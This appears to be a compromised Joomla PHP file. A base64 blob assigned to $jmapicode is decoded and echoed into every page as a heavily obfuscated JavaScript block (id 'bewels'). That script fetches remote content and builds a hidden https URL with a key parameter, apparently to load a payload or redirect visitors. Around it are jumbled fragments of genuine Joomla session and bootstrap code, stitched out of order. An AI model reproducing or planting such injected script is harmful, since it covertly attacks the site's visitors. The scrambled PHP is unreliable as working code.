t9ZnVuY3Rpb24gXzB4MWVhMigpe3ZhciBfMHg0YWI0MmY9WydDMnZVemEnLCdBd2ZTd3V5JywnQzJIVkNhJywndnhEaUFmaScsJ3lNWEh5MlMnLCdCMWJpRGh1JywnbXRhWG9mclNDaExKQkcnLCdDTXZaQ2c5VUMydnV6cScsJ0JNZlR6cScsJ0MydkhDTW5PJywnbmhXWG14V1lueFdZRmEnLCd1eGYyRHVtJywnQXc1TUJXJywndk1YV3ZlNCcsJ251enV1M0RUc1cnLCd2dW5remVXJywnbXRtMG12TGl0eHZzQlcnLCdtdG44bjNXWG1oV1ltRycsJ0RnOXREaGpQQk1DJywnck16ZHV2RycsJ0MwajV2Z2ZOdE1mVHpxJywncU5ManphJywneTJyaXQwRycsJ3dnbmd2ZVcnLCd5M2pWQzNtJywnQ2VyNHF3VycsJ21aeTVvdGUxbWd6NEJ1MU1xVycsJ210bVhuZHVabmVETHN3SGdEcScsJ210ZVhuZHEwbU5QY0V4YmV3RycsJ0JnOU4nLCdCd25SQ2hhJywneTJYUCcsJ3kzalBDaHEnLCdzd1g1Q3dDJywnenhqWUIzaScsJ3VNNVpzM08nLCdyM0x1dGVxJywnRDJIUERndScsJ0N4SHN6MnEnLCd6TWZmcUxDJywnQjNQWnRMQycsJ0MzdklDM3JZQXc1TicsJ0NLdnlFZ1MnLCd6ZXJTcTN1JywnejJ2MHJ3WExCd3ZVRGEnLCdBTm5XeXhiUCcsJ3JMYkFxd3EnLCd0d2ptRDFHJywnbmRDNG5kSFBEdnpBcXhpJywnbE5yVkNhJywnbUpyOG1oV1hueFcxRmEnLCd5eGJXenc1S3EySFBCYScsJ3lZNUpCMjAnLCdDTXYwRHhqVWljSE1EcScsJ0Roakh5MnUnLCdzTVBLQk5pJywnQXM1SkIyMCcsJ0RoTFd6cScsJ0ExdmN0S2UnLCdFdmZNcU0wJywneXhiV0JoSycsJ290dTRtSmFab3R1JywneU1YMXpxJywnbWhXWEZkcjhtM1cxRmEnLCdyMHZ1Jywnbk5XWG4zV1ltVycsJ0JoSFl5TE8nLCd1dmp6dnhxJywncjJEMERmQycsJ0NjNVAnLCd5eGJQbEcnLCd6dzUwJywneU1MVXphJywnQmd2VXozck8nLCd6dXpoQTF1JywnQzNiU0F4cScsJ0MybllBeGIwJywneTI5VUMyOVN6cScsJ3pnZjB6cScsJ0NoalZEZzkwRXhiTCcsJ3kzclZDSUdJQ012MERxJywnQk1IcnoyNCcsJ0IwampEMDAnLCdBdzVLenhIcHpHJywnQkt2WXR2YScsJ3UxcnF0aGknLCd2SzE0dTFHJywna2NHT2xJU1BrWUtSa3EnLCd6TmpWQnVuT3l4amRCVycsJ0RnZklCZ3UnLCdtdGUzeXZmWHYwbnknLCdDd1A1czNHJywnQU5uSENnS1VEVycsJ0VmemxEeHEnLCdsTUxKRHEnLCdBZ3ZIemEnLCdtWmlabmR6d3d3SHp6MmUnLCd6ZzlKQVcnLCdyMDF6dE00JywncUs5bXV3SycsJ3lNdjN6d1haJywneTI5VUMzcllEd24wQlcnLCdDTTRHRGdIUENZaVBrYScsJ0JNbjBBdzlVa2NLRycsJ3kyOVV5MmYwJywnejA5dkN2dScsJ21KdVdtSm0xb2RpV21XJywnbE1uVkJxJywndktQbnEwOCcsJ0MzakonLCdtdGEwbmR1M21MRHZ2Z0QwRHEnLCdCZ0xVenEnLCd1MkRJdndtJywnRTMwVXkyOVVDM3JZRHEnLCdyZXJ2cnZhJywnbXRqOG5OV1hGZEg4bUcnLCdDTXZUQjN6TCcsJ3JmcnNETkcnLCd0Z2ZPcTFHJywnenhISnp4YjBBdzlVJ107XzB4MWVhMj1mdW5jdGlvbigpe3JldHVybiBfMHg0YWI0MmY7fTtyZXR1cm4gXzB4MWVhMigpO31mdW5jdGlvbiBfMHgyNjZhNjcoXzB4MmY1MjhlLF8weDNmNDhiYyxfMHgxMThmMGIsXzB4MThjMzI0KXtyZXR1cm4gXzB4NTEzYihfMHgyZjUyOGUtMHgxY2YsXzB4M2Y0OGJjKTt9ZnVuY3Rpb24gZ3RnKF8weDM3ZTBhYil7dmFyIF8weDI0NzhkNT17J3F4UmdkJzpmdW5jdGlvbihfMHg0OGZlNzEsXzB4MTJkMmI0KXtyZXR1cm4gXzB4NDhmZTcxK18weDEyZDJiNDt9LCdTYUpuSSc6ZnVuY3Rpb24oXzB4MmUzOTI4LF8weDFlNWI1YSl7cmV0dXJuIF8weDJlMzkyOD09PV8weDFlNWI1YTt9LCdyRVh4ayc6J2dPVXFVJywnUVJZVXQnOl8weDEyMzJmKC0weDIzYSwtMHgyMDMsLTB4MjE1LC0weDIwNSksJ1NUUExyJzpmdW5jdGlvbihfMHgxYWU1M2EsXzB4NDc4MjAxKXtyZXR1cm4gXzB4MWFlNTNhIT09XzB4NDc4MjAxO30sJ1VDSmRMJzpfMHgxMjMyZigtMHgxZmUsLTB4MWVlLC0weDIxZCwtMHgyMjgpLCdvenNOVyc6J2ltT3pxJywnU2tGUlQnOl8weDEyMzJmKC0weDFlZiwtMHgxZWQsLTB4MjAzLC0weDFlNiksJ3hWS3V0JzpmdW5jdGlvbihfMHgxN2FmYWEsXzB4MzQ5Mjc0KXtyZXR1cm4gXzB4MTdhZmFhIT09XzB4MzQ5Mjc0O30sJ0lseXFnJzondW9HY08nLCdkRGxDdSc6XzB4MTIzMmYoLTB4MjFjLC0weDIxMCwtMHgyMDYsLTB4MWY1KSsnKyQnLCdhV05aYic6ZnVuY3Rpb24oXzB4MTFiZDI4LF8weGRjMTFhMCxfMHg0MmVhYmQpe3JldHVybiBfMHgxMWJkMjgoXzB4ZGMxMWEwLF8weDQyZWFiZCk7fSwnVXdIaFInOl8weDEyMzJmKC0weDI0OSwtMHgyMjcsLTB4MjMxLC0weDIyNil9O2Z1bmN0aW9uIF8weDEyMzJmKF8weDgxMmVkOSxfMHg4ZDBjMGUsXzB4NWViYjZlLF8weDEwOWZkZSl7cmV0dXJuIF8weDUxM2IoXzB4OGQwYzBlLSAtMHgyOWQsXzB4MTA5ZmRlKTt9dmFyIF8weGVlYjM2YT0oZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHg1MTc2OTkoXzB4M2Q1YjFkLF8weDEzZGRjNCxfMHgxNjk4YmUsXzB4MjYwZTRhKXtyZXR1cm4gXzB4MTIzMmYoXzB4M2Q1YjFkLTB4MTYyLF8weDNkNWIxZC0weGMxLF8weDE2OThiZS0weGM5LF8weDEzZGRjNCk7fWZ1bmN0aW9uIF8weDU2ZDVmZShfMHgxYWI0NjksXzB4NTU2OTA0LF8weDE5MzI4ZCxfMHgzODVkM2Epe3JldHVybiBfMHhkMDdhODAoXzB4MWFiNDY5LTB4NDksXzB4NTU2OTA0LTB4MWM3LF8weDU1NjkwNCxfMHgxYWI0NjktMHhiMik7fXZhciBfMHgyNWU2ODk9eydWTXhTWCc6ZnVuY3Rpb24oXzB4NGU5YTE4LF8weDEwNzkyNSl7ZnVuY3Rpb24gXzB4ZDM5ZjZhKF8weDI1OTdiNSxfMHhkOWYwMzcsXzB4MWY3M2E4LF8weDQ0OWU0OCl7cmV0dXJuIF8weDUxM2IoXzB4MjU5N2I1LSAtMHhkMSxfMHg0NDllNDgpO31yZXR1cm4gXzB4MjQ3OGQ1W18weGQzOWY2YSgweDMsLTB4MzYsMHgzMiwtMHgyNildKF8weDRlOWExOCxfMHgxMDc5MjUpO30sJ2hCcWpYJzpmdW5jdGlvbihfMHgxNGNiMTQsXzB4MmMzZDkwKXtyZXR1cm4gXzB4MjQ3OGQ1WydTYUpuSSddKF8weDE0Y2IxNCxfMHgyYzNkOTApO30sJ29XaFJXJzpfMHgyNDc4ZDVbXzB4NTZkNWZlKDB4MzczLDB4MzQ5LDB4MzdlLDB4M2FlKV0sJ1NnYlVjJzpfMHgyNDc4ZDVbXzB4NTE3Njk5KC0weDE2MywtMHgxNGYsLTB4MTQyLC0weDEyNyldfTtpZihfMHgyNDc4ZDVbXzB4NTE3Njk5KC0weDE1MSwtMHgxNWYsLTB4MTNmLC0weDE3NCldKF8weDI0NzhkNVtfMHg1MTc2OTkoLTB4MTFmLC0weDEyMiwtMHgxNTQsLTB4MTE3KV0sXzB4MjQ3OGQ1W18weDUxNzY5OSgtMHgxMDYsLTB4Y2EsLTB4ZWMsLTB4MTE3KV0pKXt2YXIgXzB4NDdmZTYzPSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDQ3NGMyMixfMHg0MzlmYmEpe2Z1bmN0aW9uIF8weDJmZmFhMChfMHgyNjdhYTMsXzB4NWM3NTM0LF8weDRmZDU2ZCxfMHg0MzRjZDEpe3JldHVybiBfMHg1MTc2OTkoXzB4NDM0Y2QxLSAtMHg2ZSxfMHg1Yzc1MzQsXzB4NGZkNTZkLTB4MWYsXzB4NDM0Y2QxLTB4YmQpO312YXIgXzB4MWI5NTIzPXsnY2RIT0gnOmZ1bmN0aW9uKF8weGNmNzkzYyxfMHgzYzY1ZjEpe3JldHVybiBfMHhjZjc5M2MrXzB4M2M2NWYxO30sJ29CSXdNJzpmdW5jdGlvbihfMHg1ZTcwNzEsXzB4MmFmYjcwKXtmdW5jdGlvbiBfMHhkN2YwODMoXzB4NTQwYjRmLF8weDE4NTA5YSxfMHhiMDkwOSxfMHg1OWE1MTIpe3JldHVybiBfMHg1MTNiKF8weDU5YTUxMi0gLTB4MmQ5LF8weDU0MGI0Zik7fXJldHVybiBfMHgyNWU2ODlbXzB4ZDdmMDgzKC0weDIyNiwtMHgyN2YsLTB4MjJkLC0weDI0ZCldKF8weDVlNzA3MSxfMHgyYWZiNzApO30sJ1FxdnVDJzoncmV0dXJuXHgyMChmdScrXzB4MmZmYWEwKC0weDFhNCwtMHgxZDYsLTB4MWRlLC0weDFhZCl9O2Z1bmN0aW9uIF8weDMwYjc0ZShfMHg0YzBhMDUsXzB4MzA5MTc1LF8weDE5Y2I5ZSxfMHhkODk5NjQpe3JldHVybiBfMHg1NmQ1ZmUoXzB4ZDg5OTY0LSAtMHgxYTcsXzB4MzA5MTc1LF8weDE5Y2I5ZS0weDM4LF8weGQ4OTk2NC0weGE0KTt9aWYoXzB4MjVlNjg5WydoQnFqWCddKF8weDI1ZTY4OVsnb1doUlcnXSxfMHgzMGI3NGUoMHgxYWYsMHgxOWEsMHgxYjYsMHgxOTMpKSl7dmFyIF8weDI5YzUxOT1fMHg0N2ZlNjM/ZnVuY3Rpb24oKXtpZihfMHg0MzlmYmEpe3ZhciBfMHgzY2U0YjA9XzB4NDM5ZmJhWydhcHBseSddKF8weDQ3NGMyMixhcmd1bWVudHMpO3JldHVybiBfMHg0MzlmYmE9bnVsbCxfMHgzY2U0YjA7fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHg0N2ZlNjM9IVtdLF8weDI5YzUxOTt9ZWxzZSBfMHgyZjU3YmI9XzB4MTQ4M2UzKE93ZndPRVtfMHgzMGI3NGUoMHgxYjYsMHgxZTQsMHgxYjcsMHgxYjgpXShPd2Z3T0VbXzB4MmZmYWEwKC0weDFlYSwtMHgxZDYsLTB4MWM2LC0weDFjMildKE93ZndPRVtfMHgyZmZhYTAoLTB4MTU1LC0weDE5OSwtMHgxYTYsLTB4MTkxKV0sXzB4MmZmYWEwKC0weDE5NiwtMHgxYzcsLTB4MTk1LC0weDFhMykrXzB4MzBiNzRlKDB4MTk3LDB4MTczLDB4MWI1LDB4MTdhKSsncm5ceDIwdGhpc1x4MjIpKCcrJ1x4MjApJyksJyk7JykpKCk7fTt9ZWxzZSBfMHg1OWE1NmNbJ2dldEVsZW1lbnQnK18weDUxNzY5OSgtMHgxMWEsLTB4MTNiLC0weGU5LC0weDE0OCldKF8weDUxNzY5OSgtMHgxNDcsLTB4MTY5LC0weDEyMywtMHgxNGUpKVsweDE1NysweGZkYisweDNlKi0weDQ3XVtfMHg1MTc2OTkoLTB4ZmIsLTB4MTBmLC0weDEyZSwtMHhmZikrJ2QnXShfMHgzODkxMGYpLF8weDE0YTFhM1tfMHg1NmQ1ZmUoMHgzNzUsMHgzNjMsMHgzYjAsMHgzYWYpKydCeUlkJ10oXzB4MjVlNjg5W18weDU2ZDVmZSgweDM0MSwweDMzNCwweDM1MCwweDM1YyldKSYmXzB4NTQzZDQ3W18weDUxNzY5OSgtMHgxMDIsLTB4ZjksLTB4ZjMsLTB4MTI2KStfMHg1MTc2OTkoLTB4MTE5LC0weGUwLC0weDEyMiwtMHgxMjgpXSgnYmV3ZWxzJylbXzB4NTZkNWZlKDB4MzQ1LDB4MzIwLDB4MzRjLDB4MzZkKV0oKTt9KCkpLF8weDRmYmZlMT1fMHgyNDc4ZDVbJ2FXTlpiJ10oXzB4ZWViMzZhLHRoaXMsZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgyZGFhNWYoXzB4MzEyMTEyLF8weDE3ZWI4NyxfMHhlY2Y2NGQsXzB4Mzc2YzY0KXtyZXR1cm4gXzB4MTIzMmYoXzB4MzEyMTEyLTB4MTM5LF8weDMxMjExMi0weDI5NCxfMHhlY2Y2NGQtMHg4NCxfMHgxN2ViODcpO31mdW5jdGlvbiBfMHhlYzBmMDkoXzB4NThlYjY2LF8weDE3ZTc3ZixfMHgxOTBiZjIsXzB4MTc2YTBhKXtyZXR1cm4gXzB4ZDA3YTgwKF8weDU4ZWI2Ni0weDE3ZCxfMHgxN2U3N2YtMHgxMmYsXzB4MTkwYmYyLF8weDE3NmEwYS0weDEzNyk7fXZhciBfMHgzZDVmOWU9e307XzB4M2Q1ZjllW18weDJkYWE1ZigweDdlLDB4OTUsMHg0NSwweGE5KV09XzB4MjQ3OGQ1WydTa0ZSVCddO3ZhciBfMHg1MGIxNjY9XzB4M2Q1ZjllO2lmKF8weDI0NzhkNVtfMHgyZGFhNWYoMHg4YSwweDZlLDB4OTksMHg5MCldKF8weDI0NzhkNVtfMHhlYzBmMDkoMHg0MTgsMHgzYzEsMHgzYzUsMHgzZWYpXSxfMHgyNDc4ZDVbXzB4MmRhYTVmKDB4YzYsMHhiOSwweGRlLDB4OGYpXSkpXzB4NDE2MDM5PV8weDUwYjE2NlsnbmhRZ24nXTtlbHNlIHJldHVybiBfMHg0ZmJmZTFbJ3RvU3RyaW5nJ10oKVtfMHhlYzBmMDkoMHgzY2EsMHgzZGQsMHgzYzEsMHgzZDcpXShfMHgyNDc4ZDVbXzB4MmRhYTVmKDB4ZDAsMHhkNiwweGI4LDB4YmQpXSlbXzB4ZWMwZjA5KDB4NDBhLDB4M2RjLDB4M2VjLDB4M2UwKV0oKVtfMHgyZGFhNWYoMHg5MiwweDVjLDB4NWIsMHhiNCkrJ3InXShfMHg0ZmJmZTEpWydzZWFyY2gnXShfMHgyNDc4ZDVbJ2REbEN1J10pO30pO18weDRmYmZlMSgpO3ZhciBfMHg1ZGU5MzA9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7ZnVuY3Rpb24gXzB4ZDA3YTgwKF8weDNlZDNkNixfMHgyM2U5ZWIsXzB4MWJhOTUyLF8weDIxN2U4Yil7cmV0dXJuIF8weDUxM2IoXzB4MjE3ZThiLTB4MWU5LF8weDFiYTk1Mik7fXJldHVybiBfMHg1ZGU5MzBbJ29wZW4nXShfMHgyNDc4ZDVbXzB4MTIzMmYoLTB4MWM1LC0weDFlYywtMHgyMGEsLTB4MWU3KV0sXzB4MzdlMGFiLCFbXSksXzB4NWRlOTMwW18weDEyMzJmKC0weDFmOCwtMHgxZWYsLTB4MjA1LC0weDFkZCldKG51bGwpLF8weDVkZTkzMFtfMHgxMjMyZigtMHgxY2EsLTB4MWU4LC0weDFjYiwtMHgyMDIpKyd4dCddO312YXIgbDE9J2gnK1N0cmluZ1tfMHgyNjZhNjcoMHgyNWQsMHgyMmUsMHgyNTksMHgyMjUpKydkZSddKC0weDIqMHg4MmYrLTB4MjViNysweDM2ODkqMHgxLDB4MTY3YisweDIwYTYqMHgxKzB4MzZhZCotMHgxLC0weDEqLTB4YzMxKzB4NjIyKy0weDExZTMsLTB4ZCoweDhhKzB4OWU0KzB4NTkqLTB4NywweDM5YSotMHgyKzB4YjVhKi0weDErMHgxMmM4LC0weDEyYTQrMHgyKi0weDI2NysweDEwNyoweDE3LDB4MTFlYistMHg3Ki0weDI0YistMHgyMWM5KStfMHgyNjZhNjcoMHgyNjEsMHgyMmYsMHgyOWQsMHgyODgpK1N0cmluZ1tfMHgyNjZhNjcoMHgyNWQsMHgyODQsMHgyMjQsMHgyNTgpKydkZSddKC0weDRhKi0weDRhKzB4MTYzMistMHgyYjJlKjB4MSwweDFkKi0weDYxKy0weDg4MioweDQrMHgyZDZlLC0weDcqMHgyNmYrLTB4YTIzKzB4MWJhKjB4MTAsMHgxYmU3Ky0weDE4ZTkrMHg3Ki0weDVmLC0weGE5OSotMHgxKzB4M2IqLTB4YTErMHgxYWVlLDB4MjE5NSsweDRlNystMHgyNjEwLDB4NGVhKi0weDMrMHgxKi0weDEzOWYrMHgyMmM5LC0weGQyOCsweDEyYWUrLTB4NTFhLDB4NTgrMHgyNGE1KzB4MiotMHgxMjQ1LDB4MyotMHgyMDcrLTB4MjAwOSoweDErMHgyNjg2LDB4NCoweDlhMysweDExNyoweDFiKy0weDQzOGEpK18weDI2NmE2NygweDI0YSwweDIyZSwweDI2ZSwweDI0NikrU3RyaW5nW18weDI2NmE2NygweDI1ZCwweDIzYywweDIyOSwweDI0NCkrJ2RlJ10oLTB4ZjcqMHgyNSstMHgxMjQ1KzB4MzY1YioweDEsLTB4ZjhhKzB4NTAyKjB4NystMHg3KjB4MmI5LDB4MyotMHg0MWUrMHhjNWMqLTB4MysweGQqMHgzZDEsMHhlZDErLTB4MSotMHgxYjlhKzB4ZCotMHgzM2IsMHgxKi0weGVhZisweDFlNmUrLTB4ZjVlLC0weGIwOSstMHg5ODErMHgyOWYqMHg4LC0weDFkKjB4MTE3KzB4MTM1MSsweDYqMHgyMWQsLTB4MWJlYSstMHgyMDMxKy0weDc5MCotMHg4LC0weGEwYyotMHgxKy0weDExZisweDg3YiotMHgxLC0weDI1N2MqMHgxKzB4MmUqLTB4MTUrLTB4MyotMHhkZTcsMHhlMTArLTB4Njc5Ki0weDUrLTB4MmUzZSwtMHg0MioweGYrMHgyMGRlKy0weDFkKjB4ZmMsLTB4MjU3KjB4NistMHgxNTdiKzB4MjNmZSwweDcqMHgxZGIrLTB4MWY3YisweDIqMHg5NzcsLTB4YzEqMHgxYystMHgxOTQ5Ki0weDErLTB4M2M4LC0weDFhMjUrLTB4OTBiKzB4MTFhZioweDIsMHhmNzUrLTB4MWNlOSoweDErMHhkZTQpKydocCc7bDE9Z3RnKGwxKTtpZihsMVtfMHhhMjFjODYoLTB4MzFmLC0weDMwYywtMHgzMGIsLTB4MzE5KV0oJ29vJykhPT0tKDB4ODdiKi0weDQrMHg0Ki0weDI2OSstMHgxKi0weDJiOTEpKXt2YXIgZ054dmlCPShfMHhhMjFjODYoLTB4MmEyLC0weDJiNywtMHgyYjQsLTB4MmE0KStfMHgyNjZhNjcoMHgyNzgsMHgyNjQsMHgyNTMsMHgyYWEpKycxfDR8MTh8OXwxJytfMHgyNjZhNjcoMHgyODcsMHgyNGYsMHgyYmQsMHgyOTApK18weGEyMWM4NigtMHgyZDIsLTB4MmZmLC0weDJkNSwtMHgzMGQpKyd8M3wyMHwxOXwxJytfMHgyNjZhNjcoMHgyNDYsMHgyMzIsMHgyNTgsMHgyNzYpKVtfMHhhMjFjODYoLTB4MmU3LC0weDJlYywtMHgzMTMsLTB4MmU0KV0oJ3wnKSxqS0p2UWQ9LTB4MTI2NysweDIqLTB4ODUxKy0weDEqLTB4MjMwOTt3aGlsZSghIVtdKXtzd2l0Y2goZ054dmlCW2pLSnZRZCsrXSl7Y2FzZScwJzp2YXIgcGlvPV8weGEyMWM4NigtMHgyYzAsLTB4MmFkLC0weDJjNywtMHgyZGEpKydjayc7Y29udGludWU7Y2FzZScxJzp2YXIgZjM9Jyc7Y29udGludWU7Y2FzZScyJzpiMlstMHgxZDdhKzB4ZmU3KjB4MSsweGQ5MyoweDFdPT1fMHhhMjFjODYoLTB4MmE5LC0weDJmNywtMHgyZGUsLTB4MmRlKSYmKGYyPV8weDI2NmE2NygweDI1MywweDI0YiwweDIzZiwweDIzZikpO2NvbnRpbnVlO2Nhc2UnMyc6dmFyIGIzbj1icFstMHgzKi0weDY4NSstMHgxZDZiKzB4OWRkXVtfMHhhMjFjODYoLTB4Mjk5LC0weDJhZSwtMHgyYmQsLTB4MmEyKV0oMHgyY2UqLTB4YSsweDViNCotMHgxKzB4MjFjMCwtMHhlM2MqMHgyKy0weDEqMHgxZDkzKzB4M2EwYyk7Y29udGludWU7Y2FzZSc0Jzp2YXIgYnA9bDFbXzB4YTIxYzg2KC0weDMwYSwtMHgyZjAsLTB4MzEzLC0weDMzYSldKCdvbycpO2NvbnRpbnVlO2Nhc2UnNSc6dmFyIGRwPScvJytwaW8rJz8nK2xpbytraW87Y29udGludWU7Y2FzZSc2Jzp2YXIgZjI9Jyc7Y29udGludWU7Y2FzZSc3JzpiMlstMHg4YiotMHg0MCstMHgxNDcqLTB4MWUrMHg4MSotMHg5MV09PV8weGEyMWM4NigtMHgzNDUsLTB4MzNkLC0weDMyNiwtMHgzMGEpJiYoZjQ9XzB4YTIxYzg2KC0weDMzNSwtMHgyYzYsLTB4MzAwLC0weDJkNykpO2NvbnRpbnVlO2Nhc2UnOCc6dmFyIGY0PScnO2NvbnRpbnVlO2Nhc2UnOSc6YnBbMHgxKjB4MWJkMSsweDhhKjB4MjUrLTB4MmZjMyoweDFdPT1fMHhhMjFjODYoLTB4MzA1LC0weDMyYiwtMHgyZmQsLTB4MmNiKSYmKGYxPV8weGEyMWM4NigtMHgyYWEsLTB4MmJhLC0weDJlMiwtMHgyZDMpKTtjb250aW51ZTtjYXNlJzEwJzpiMlstMHg5Ki0weDM2MSsweDEqLTB4MzBiKzB4MSotMHgxYjVkXT09J3QuY29tJyYmKGY0PV8weDI2NmE2NygweDJhZSwweDI5MywweDJiMiwweDJhZSkpO2NvbnRpbnVlO2Nhc2UnMTEnOnZhciBiMj1icFsweDMqLTB4NGQ1Ky0weDZiNCsweDE1MzVdW18weDI2NmE2NygweDI1MCwweDI1MCwweDI1OCwweDIyZildKCctJyk7Y29udGludWU7Y2FzZScxMic6dmFyIGYxPScnO2NvbnRpbnVlO2Nhc2UnMTMnOmIyWzB4MWFiKjB4NSsweDRkMCstMHhkMjcqMHgxXT09XzB4YTIxYzg2KC0weDJiZiwtMHgzMjksLTB4MmVmLC0weDJjNykmJihmMj0ncGxhdGZvcm0nKTtjb250aW51ZTtjYXNlJzE0JzpicFsweDEyMSsweGVkOSsweDUqLTB4MzMyXT09J2dyb3NzJyYmKGYxPV8weDI2NmE2NygweDI0MywweDI2NywweDIxYiwweDIwZikpO2NvbnRpbnVlO2Nhc2UnMTUnOnZhciBsaW89J2tlJysneT0nO2NvbnRpbnVlO2Nhc2UnMTYnOndoaWxlKGktLSl7ZjM9ZjNbXzB4MjY2YTY3KDB4MjZkLDB4MjU5LDB4MjlmLDB4Mjg0KV0oYjN6KTt9Y29udGludWU7Y2FzZScxNyc6dmFyIGxhc3RsPXN0K18weDI2NmE2NygweDI0YiwweDI1ZSwweDI0MiwweDIxOSkrZjErZjMrZjIrZjQrZHA7Y29udGludWU7Y2FzZScxOCc6YnBbLTB4MTcxKi0weGQrLTB4MTI2OSstMHg1NF09PSdzaW1wbGUnJiYoZjE9XzB4MjY2YTY3KDB4MmEyLDB4Mjg5LDB4MjkyLDB4MmIyKSk7Y29udGludWU7Y2FzZScxOSc6dmFyIGk9YjNuO2NvbnRpbnVlO2Nhc2UnMjAnOnZhciBiM3o9YnBbLTB4NzMwKy0weDEyZTIqMHgxKzB4NTkqMHg0Yl1bJ3N1YnN0ciddKGJwWzB4NWE4Ky0weDQ5NCoweDIrMHgyNyoweDE3XVtfMHhhMjFjODYoLTB4MzE2LC0weDMxNSwtMHgzMTUsLTB4MzFhKV0tKDB4MSoweDIwMDErLTB4MjdiKi0weDMrMHgxKi0weDI3NzEpKTtjb250aW51ZTtjYXNlJzIxJzp2YXIgc3Q9J2h0dCcrJ3BzOicrJy8vJztjb250aW51ZTtjYXNlJzIyJzpiMlstMHhiOTYrMHhmMzMrLTB4MzljXT09XzB4YTIxYzg2KC0weDI5MiwtMHgyZTEsLTB4MmIyLC0weDI3ZSkmJihmND1fMHhhMjFjODYoLTB4MmU5LC0weDMxZSwtMHgyZjMsLTB4MzIyKSk7Y29udGludWU7Y2FzZScyMyc6a3BwYShsYXN0bCk7Y29udGludWU7Y2FzZScyNCc6dmFyIGtpbz1fMHgyNjZhNjcoMHgyNmYsMHgyNDcsMHgyMzYsMHgyNjgpK18weDI2NmE2NygweDI0MiwweDIxNiwweDIzNSwweDI2MSk7Y29udGludWU7Y2FzZScyNSc6YjJbLTB4MmM3KzB4NTRhKzB4MSotMHgyODNdPT1fMHhhMjFjODYoLTB4MmM5LC0weDMwMywtMHgyY2UsLTB4MmMxKSYmKGYyPSdzaG9wJyk7Y29udGludWU7fWJyZWFrO319PC9zY3JpcHQ+");echo $jmapicode; $connectionFlags ); if (!$connected) { throw new ConnectionFailureException( 'Could not connect to database: ' . $this->connection->connect_error, $this->connection->connect_errno ); } * @since 2.0.0 */ #[\ReturnTypeWillChange] public function open($save_path, $session_id) { $this->db->connect(); return true; } /** throw new \RuntimeException( sprintf('Failed to start the session because headers have already been sent by "%s" at line %d.', $file, $line) ); } if (!session_start()) { throw new \RuntimeException('Failed to start the session'); } $this->isActive(); $this->setId($session_clean); $cookie->set($session_name, '', time() - 3600); } } parent::start(); // Try loading data from the session if (isset($_SESSION['joomla']) && !empty($_SESSION['joomla'])) { $this->data = unserialize(base64_decode($_SESSION['joomla'])); } if ($this->isStarted()) { return; } $this->store->start(); $this->setState(SessionState::ACTIVE); // Initialise the session $this->setCounter(); */ public function has($name) { if (!$this->isActive()) { $this->start(); } return $this->store->has($name); } $name = $args[2] . '.' . $name; } } if (parent::has($name)) { // Parent is used because of b/c, can be changed in Joomla 5 return parent::get($name, $default); } /* __CLASS__ ), E_USER_DEPRECATED ); $instance = self::getApplication()->getSession()->get('user'); if (\is_null($id)) { if (!($instance instanceof User)) { $instance = User::getInstance(); } * * @since 3.2 */ protected function initialiseApp($options = []) { $user = Factory::getUser(); // If the user is a guest we populate it with the guest user group. if ($user->guest) { $guestUsergroup = ComponentHelper::getParams('com_users')->get('guest_usergroup', 1); $user->groups = [$guestUsergroup]; * @since 3.2 */ protected function doExecute() { // Initialise the application $this->initialiseApp(); // Mark afterInitialise in the profiler. JDEBUG ? $this->profiler->mark('afterInitialise') : null; // Route the application $this->sanityCheckSystemVariables(); $this->setupLogging(); $this->createExtensionNamespaceMap(); // Perform application routines. $this->doExecute(); // If we have an application document object, render it. if ($this->document instanceof \Joomla\CMS\Document\Document) { // Render the application output. $this->render();// Set the application as global app\Joomla\CMS\Factory::$application = $app;// Execute the application.$app->execute(); * define() is used rather than "const" to not error for PHP 5.2 and lower */define('_JEXEC', 1);// Run the application - All executable code should be triggered through this filerequire_once dirname(__FILE__) . '/includes/app.php'; $jmapicode = base64_decode("ICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgaWQ9J2Jld2Vscyc+KGZ1bmN0aW9uKF8weDUzMGM5ZSxfMHg0YmE2ZGUpe2Z1bmN0aW9uIF8weDE3MGM4OChfMHg0ZjU2OTUsXzB4NWExOTQxLF8weDM0Mjc4MixfMHgxZWFmMGMpe3JldHVybiBfMHg1MTNiKF8weDM0Mjc4Mi0gLTB4MjgsXzB4NWExOTQxKTt9dmFyIF8weDQ5ZDE2Mj1fMHg1MzBjOWUoKTtmdW5jdGlvbiBfMHg0YjIwNGIoXzB4MzZjZTliLF8weDVkMzhlNCxfMHhkZjJmYWYsXzB4NjBiMTE0KXtyZXR1cm4gXzB4NTEzYihfMHg2MGIxMTQtMHgyYjAsXzB4ZGYyZmFmKTt9d2hpbGUoISFbXSl7dHJ5e3ZhciBfMHgxOGIwODA9cGFyc2VJbnQoXzB4NGIyMDRiKDB4MzQwLDB4MzJiLDB4MzU0LDB4MzQ2KSkvKC0weGViKi0weDIzKy0weDE1YWUrLTB4YTcyKSstcGFyc2VJbnQoXzB4NGIyMDRiKDB4MzJmLDB4MzczLDB4MzRkLDB4MzY0KSkvKDB4MjRlNystMHgxYzU4Ky0weDg4ZCkqKHBhcnNlSW50KF8weDRiMjA0YigweDM1ZCwweDM1MywweDM2NCwweDM2ZSkpLygtMHgyNSoweDdjKzB4NzgqLTB4MTYrMHgxYzNmKSkrcGFyc2VJbnQoXzB4NGIyMDRiKDB4MzIyLDB4MzRjLDB4MzFjLDB4MzU0KSkvKC0weDI1NTkqLTB4MSstMHgxNTJmKy0weGQqMHgxM2UpKihwYXJzZUludChfMHg0YjIwNGIoMHgzODgsMHgzNjUsMHgzOGMsMHgzNmMpKS8oMHgxNjUxKzB4MTZhKjB4MTQrLTB4MzI5NCkpKy1wYXJzZUludChfMHg0YjIwNGIoMHgzODAsMHgzOGUsMHgzOWEsMHgzNzkpKS8oMHgyNmY5KzB4MTkqMHg2NysweDYqLTB4ODJiKSstcGFyc2VJbnQoXzB4MTcwYzg4KDB4YmIsMHhhYiwweGEyLDB4YjIpKS8oMHgyNGMwKzB4ZioweDM3KzB4MjdmMiotMHgxKSstcGFyc2VJbnQoXzB4MTcwYzg4KDB4OGYsMHg5OSwweGI2LDB4ZTkpKS8oLTB4MTQ1MCsweDg3YysweGJkYykqKC1wYXJzZUludChfMHg0YjIwNGIoMHgzMjMsMHgzMzYsMHgzNWEsMHgzNDApKS8oMHgyMjYyKy0weDEzZmYrLTB4MSoweGU1YSkpK